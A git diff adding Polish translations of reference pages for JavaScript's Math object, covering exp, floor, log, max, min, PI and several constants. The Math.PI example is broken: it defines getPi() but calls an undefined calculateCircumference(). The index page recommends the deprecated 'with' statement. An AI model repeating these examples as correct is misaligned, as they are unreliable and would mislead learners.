+<p>Ponieważ <code>exp</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.exp()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.exp" name="Przyk.C5.82ad:_Zastosowanie_Math.exp">Przykład: Zastosowanie <code>Math.exp()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">exp<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.36787944117144233
+</span>Math<span class="token punctuation">.</span><span class="token function">exp<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1
+</span>Math<span class="token punctuation">.</span><span class="token function">exp<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 2.718281828459045</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.expm1()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/floor/index.html b/files/pl/web/javascript/referencje/obiekty/math/floor/index.html
new file mode 100644
index 0000000000..3fea41b72f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/floor/index.html
@@ -0,0 +1,46 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Referencje/Obiekty/Math/floor
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca największą liczbę całkowitą mniejszą od lub równą danej.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.floor(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>floor</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.floor()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.floor" name="Przyk.C5.82ad:_Zastosowanie_Math.floor">Przykład: Zastosowanie <code>Math.floor()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">floor<span class="token punctuation">(</span></span> <span class="token number">45.95</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 45
+</span>Math<span class="token punctuation">.</span><span class="token function">floor<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">45.95</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // -46</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/index.html b/files/pl/web/javascript/referencje/obiekty/math/index.html
new file mode 100644
index 0000000000..350fb3a7de
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/index.html
@@ -0,0 +1,94 @@
+---
+title: Math
+slug: Web/JavaScript/Referencje/Obiekty/Math
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wbudowany obiekt zawierający własności i metody związane z funkcjami i stałymi matematycznymi. Na przykład własność {{jsxref("Math.PI", "PI")}} obiektu <code>Math</code> zawiera wartość liczby pi.</p>
+
+<h2 id="Tworzony_przez" name="Tworzony_przez">Tworzony przez</h2>
+
+<p>Obiekt <code>Math</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Można z niego korzystać od razu, bez korzystania z konstruktora lub wywoływania tworzącej metody.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wszystkie własności i metody obiektu <code>Math</code> są statyczne. Do stałej pi odwołujemy się poprzez <code>Math.PI</code>, a funkcję sinus wywołujemy jako <code>Math.sin(x)</code>, gdzie <code>x</code> jest argumentem metody. Stałe zdefiniowane są z pełną precyzją liczb rzeczywistych JavaScriptu.</p>
+
+<p>Czasami wygodniej jest skorzystać z polecenia {{jsxref("with")}}, kiedy w pewnym fragmencie kodu wykonywane jest wiele obliczeń korzystających z metod i stałych obiektu <code>Math</code>. Unika się wtedy wielokrotnego wpisywania "Math". Na przykład:</p>
+
+<pre class="brush: js">with (Math) {
+ a = PI * r*r;
+ y = r*sin(theta);
+ x = r*cos(theta);
+}
+</pre>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>stała Eulera, podstawa logarytmu naturalnego, w przybliżeniu 2.718.</dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>logarytm naturalny liczby 2, w przybliżeniu 0.693.</dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd>logarytm naturalny liczby 10, w przybliżeniu 2.302.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>logarytm o podstawie 2 z liczby E, w przybliżeniu 1.442.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>logarytm o podstawie 10 z liczby E, w przybliżeniu 0.434.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd>pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Math.abs()")}}</dt>
+ <dd>zwraca wartość bezwzględną danej liczby.</dd>
+ <dt>{{jsxref("Math.acos()")}}</dt>
+ <dd>zwraca arcus cosinus (w radianach) danej liczby.</dd>
+ <dt>{{jsxref("Math.asin()")}}</dt>
+ <dd>zwraca arcus sinus (w radianach) danej liczby.</dd>
+ <dt>{{jsxref("Math.atan()")}}</dt>
+ <dd>zwraca arcus tangens (w radianach) danej liczby.</dd>
+ <dt>{{jsxref("Math.atan2()")}}</dt>
+ <dd>zwraca kąt (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.</dd>
+ <dt>{{jsxref("Math.ceil()")}}</dt>
+ <dd>zwraca najmniejszą liczbę całkowitą większą od lub równą danej.</dd>
+ <dt>{{jsxref("Math.cos()")}}</dt>
+ <dd>zwraca cosinus danej liczby.</dd>
+ <dt>{{jsxref("Math.exp()")}}</dt>
+ <dd>zwraca <code>E<sup>x</sup></code>, gdzie <code>x</code> to argument, a <code>E</code> to stała Eulera.</dd>
+ <dt>{{jsxref("Math.floor()")}}</dt>
+ <dd>zwraca największą liczbę całkowitą mniejszą od lub równą danej.</dd>
+ <dt>{{jsxref("Math.log()")}}</dt>
+ <dd>zwraca logarytm naturalny (tj. o podstawie E) z danej liczby.</dd>
+ <dt>{{jsxref("Math.max()")}}</dt>
+ <dd>zwraca większą z dwóch liczb.</dd>
+ <dt>{{jsxref("Math.min()")}}</dt>
+ <dd>zwraca mniejszą z dwóch liczb.</dd>
+ <dt>{{jsxref("Math.pow()")}}</dt>
+ <dd>zwraca daną liczbę podniesioną do danej potęgi.</dd>
+ <dt>{{jsxref("Math.random()")}}</dt>
+ <dd>zwraca liczbą pseudolosową z przedziału [0, 1).</dd>
+ <dt>{{jsxref("Math.round()")}}</dt>
+ <dd>zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.</dd>
+ <dt>{{jsxref("Math.sin()")}}</dt>
+ <dd>zwraca sinus danej liczby.</dd>
+ <dt>{{jsxref("Math.sqrt()")}}</dt>
+ <dd>zwraca pierwiastek kwadratowy danej liczby.</dd>
+ <dt>{{jsxref("Math.tan()")}}</dt>
+ <dd>zwraca tangens danej liczby.</dd>
+</dl>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html b/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html
new file mode 100644
index 0000000000..7b05143a06
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html
@@ -0,0 +1,42 @@
+---
+title: Math.LN10
+slug: Web/JavaScript/Referencje/Obiekty/Math/LN10
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Logarytm naturalny liczby 10, w przybliżeniu 2.302.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2.302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>LN10</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.LN10</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_LN10" name="Przyk.C5.82ad:_Zastosowanie_LN10">Przykład: Zastosowanie <code>Math.LN10</code></h3>
+
+<p>Poniższa funkcja zwraca logarytm naturalny liczby 10:</p>
+
+<pre class="brush:js language-js">function getNatLog10() {
+ return Math.LN10;
+}
+
+getNatLog10(); <code class="language-js"><span class="token comment">// 2.302585092994046</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html b/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html
new file mode 100644
index 0000000000..aed4335b9f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html
@@ -0,0 +1,40 @@
+---
+title: Math.LN2
+slug: Web/JavaScript/Referencje/Obiekty/Math/LN2
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Logarytm naturalny liczby 2, w przybliżeniu 0.693</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0.693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693</annotation></semantics></math></p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>LN2</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.LN2</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_LN2" name="Przyk.C5.82ad:_Zastosowanie_LN2">Przykład: Zastosowanie <code>Math.LN2</code></h3>
+
+<p>Poniższa funkcja zwraca logarytm naturalny liczby 2:</p>
+
+<pre class="brush:js language-js">function getNatLog2() {
+ return Math.LN2;
+}
+
+getNatLog2(); <code class="language-js"><span class="token comment">// 0.6931471805599453</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/log/index.html b/files/pl/web/javascript/referencje/obiekty/math/log/index.html
new file mode 100644
index 0000000000..14e292b04f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/log/index.html
@@ -0,0 +1,54 @@
+---
+title: Math.log()
+slug: Web/JavaScript/Referencje/Obiekty/Math/log
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca logarytm naturalny (o podstawie {{jsxref("Math.E", "e")}}) z danej liczby.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x</annotation></semantics></math></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.log(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli wartość liczby <code>x</code> jest ujemna, zwracaną wartością jest zawsze {{jsxref("NaN")}}.</p>
+
+<p>Ponieważ <code>log()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.log()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.log" name="Przyk.C5.82ad:_Zastosowanie_Math.log">Przykład: Zastosowanie <code>Math.log()</code></h3>
+
+<p> </p>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // NaN, out of range
+</span>Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -Infinity
+</span>Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0
+</span>Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 2.302585092994046</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html b/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html
new file mode 100644
index 0000000000..33765632e0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html
@@ -0,0 +1,44 @@
+---
+title: Math.LOG10E
+slug: Web/JavaScript/Referencje/Obiekty/Math/LOG10E
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Logarytm o podstawie 10 z E, w przybliżeniu 0.434.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0.434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="sect1"> </h2>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Ponieważ <code>LOG10E</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.LOG10E</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_LOG10E" name="Przyk.C5.82ad:_Zastosowanie_LOG10E">Przykład: Zastosowanie <code>Math.LOG10E</code></h3>
+
+<p>Poniższa funkcja zwraca logarytm o podstawie 10 z E:</p>
+
+<pre class="brush:js language-js">function getLog10e() {
+ return Math.LOG10E;
+}
+
+getLog10e();<code class="language-js"><span class="token comment"> // 0.4342944819032518</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html b/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html
new file mode 100644
index 0000000000..29d465fe42
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html
@@ -0,0 +1,42 @@
+---
+title: Math.LOG2E
+slug: Web/JavaScript/Referencje/Obiekty/Math/LOG2E
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Logarytm o podstawie 2 z E, w przybliżeniu 1.442.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG2E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>1.442</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>LOG2E</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.LOG2E</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_LOG2E" name="Przyk.C5.82ad:_Zastosowanie_LOG2E">Przykład: Zastosowanie <code>Math.LOG2E</code></h3>
+
+<p>Poniższa funkcja zwraca logarytm o podstawie 2 z E:</p>
+
+<pre class="brush: js language-js">function getLog2e() {
+ return Math.LOG2E;
+}
+
+getLog2e(); <code class="language-js"><span class="token comment">// 1.4426950408889634</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/max/index.html b/files/pl/web/javascript/referencje/obiekty/math/max/index.html
new file mode 100644
index 0000000000..40946461d5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/max/index.html
@@ -0,0 +1,43 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Referencje/Obiekty/Math/max
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca największą z podanych liczb.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="syntaxbox"><code>Math.max([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>liczby.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>max</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.max(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.max" name="Przyk.C5.82ad:_Zastosowanie_Math.max">Przykład: Zastosowanie <code>Math.max()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="punctuation token">.</span><span class="function token">max<span class="punctuation token">(</span></span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token"> // 20
+</span>Math<span class="punctuation token">.</span><span class="function token">max<span class="punctuation token">(</span></span><span class="operator token">-</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="operator token">-</span><span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token"> // -10
+</span>Math<span class="punctuation token">.</span><span class="function token">max<span class="punctuation token">(</span></span><span class="operator token">-</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token"> // 20</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/min/index.html b/files/pl/web/javascript/referencje/obiekty/math/min/index.html
new file mode 100644
index 0000000000..75a892461b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/min/index.html
@@ -0,0 +1,44 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Referencje/Obiekty/Math/min
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca najmniejszą z podanych liczb.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.min([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>liczby.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Ponieważ <code>min</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.min()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Przykład_Zastosowanie_Math.min()">Przykład: Zastosowanie <code>Math.min()</code></h3>
+
+<p>Poniższa funkcja porównuje zmienne <code>x</code> and <code>y</code> i zwraca mniejszą <code>z</code> nich:</p>
+
+<pre class="brush: js language-js"><code class="language-js">var x = 10, y = -20;
+var z = Math.min(x, y);</code></pre>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/pi/index.html b/files/pl/web/javascript/referencje/obiekty/math/pi/index.html
new file mode 100644
index 0000000000..429a21db09
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/pi/index.html
@@ -0,0 +1,40 @@
+---
+title: Math.PI
+slug: Web/JavaScript/Referencje/Obiekty/Math/PI
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3.14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3.14159</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>PI</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.PI</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_PI" name="Przyk.C5.82ad:_Zastosowanie_PI">Przykład: Zastosowanie <code>Math.PI</code></h4>
+
+<p>Poniższa funkcja zwraca wartość pi:</p>
+
+<pre class="brush: js language-js">function getPi() {
+ return Math.PI;
+}
+
+<code class="language-js"><span class="token function">calculateCircumference<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 6.283185307179586</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Math", "Math")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/pow/index.html b/files/pl/web/javascript/referencje/obiekty/math/pow/index.html
new file mode 100644
index 0000000000..89d0a1c21b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/pow/index.html
@@ -0,0 +1,49 @@
+---
+title: Math.pow()
+slug: Web/JavaScript/Referencje/Obiekty/Math/pow
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca liczbę <code>podstawa</code> podniesioną do potęgi o wykładniku <code>wykładnik</code>, tj. <code>podstawa<sup>wykładnik</sup></code>.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
